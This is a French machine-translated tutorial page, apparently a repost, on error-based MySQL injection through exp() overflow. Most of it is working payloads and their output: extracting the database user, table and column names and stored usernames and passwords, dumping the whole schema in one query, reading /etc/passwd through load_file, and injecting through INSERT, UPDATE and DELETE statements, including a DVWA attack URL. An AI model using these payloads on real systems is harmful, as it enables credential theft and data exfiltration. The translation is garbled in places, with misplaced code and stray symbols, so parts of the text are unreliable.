Maison > Opération et maintenance > Sécurité > Comment utiliser exp pour l'injection d'erreurs SQL

Comment utiliser exp pour l'injection d'erreurs SQL

WBOY
Libérer: 2023-05-12 10:16:12
avant
1746 Les gens l'ont consulté

0x01 Introduction Présentation

L'éditeur a découvert un autre double débordement de données dans MySQL. Lorsque nous obtenons les fonctions dans MySQL, l'éditeur s'intéresse davantage aux fonctions mathématiques. Elles doivent également contenir certains types de données pour enregistrer les valeurs. L'éditeur a donc exécuté un test pour voir quelles fonctions provoqueraient des erreurs de débordement. Puis l'éditeur a découvert que lorsqu'une valeur supérieure à 709 est passée, la fonction exp() provoquera une erreur de débordement.

Comment utiliser exp pour linjection derreurs SQL

<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709)              |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>
Copier après la connexion

Dans MySQL, exp a la fonction opposée de ln et log Pour présenter brièvement, log et ln renvoient des paires avec e comme base. Nombre, voir équation :

Comment utiliser exp pour linjection derreurs SQL
Comment utiliser exp pour linjection derreurs SQL
<p>mysql> select log(15);<br>+------------------+<br>| log(15)          |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15)           |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>
Copier après la connexion

La fonction exponentielle est la fonction inverse de la fonction logarithmique, exp() est la fonction logarithmique avec e comme base, telle que l'équation : 🎜 🎜#

En ce qui concerne l'injection, nous utilisons des requêtes négatives pour provoquer des erreurs "La valeur DOUBLE est hors de portée". Comme mentionné dans le billet de blog précédent de l'auteur, l'inversion au niveau du bit de 0 renverra "18446744073709551615". De plus, comme la fonction renvoie 0 après une exécution réussie, nous obtiendrons *** non signé en inversant la valeur BIGINT exécutée avec succès.
mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)
Copier après la connexion
Comment utiliser exp pour linjection derreurs SQLNous créons une DOUBLE erreur de débordement via une sous-requête et une négation au niveau du bit, et l'utilisons pour injecter des données.
<p>mysql> select ~0;<br>+----------------------+<br>| ~0                   |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version())  |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>
Copier après la connexion

0x03 Injecter des données

Obtenir le nom de la table :

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Copier après la connexion

Obtenir le nom de la colonne : #🎜🎜 #

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
Copier après la connexion
Récupérer des données :

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
Copier après la connexion
0x04 Overnight

Cette requête peut vider toutes les tables et colonnes du contexte actuel. Nous pourrions également vider la base de données entière, mais comme nous extrayons via une erreur, cela renverra très peu de résultats.

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
Copier après la connexion

0x05 Lisez le fichier

Vous pouvez le lire via le load_file() function Récupère le fichier, mais l'auteur a constaté qu'il y a une limite de 13 lignes. Cette instruction peut également être utilisée dans les injections de débordement BIGINT.

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
Copier après la connexion
Comment utiliser exp pour linjection derreurs SQL

Notez que vous ne pouvez pas écrire dans le fichier car cette erreur n'écrit que 0.

select exp(~(select*from(select load_file('/etc/passwd'))a));
Copier après la connexion

0x06 Injection dans Insert

Suivez simplement les étapesComment utiliser exp pour linjection derreurs SQL
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0
Copier après la connexion
Pour toutes les instructions d'insertion, de mise à jour et de suppression Les requêtes DIOS peuvent également être utilisées.

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Copier après la connexion

0x07 Injection dans la mise à jour

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'
Copier après la connexion

0x08 Injection dans la suppression

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Copier après la connexion
#🎜 🎜 #Semblable à l'injection BIGINT précédente, l'injection exp est également applicable à MySQL5.5.5 et supérieur. Les versions précédentes étaient « muettes » sur cette situation.
mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Copier après la connexion

Il peut y avoir d'autres fonctions qui généreront ce genre d'erreur.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:yisu.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal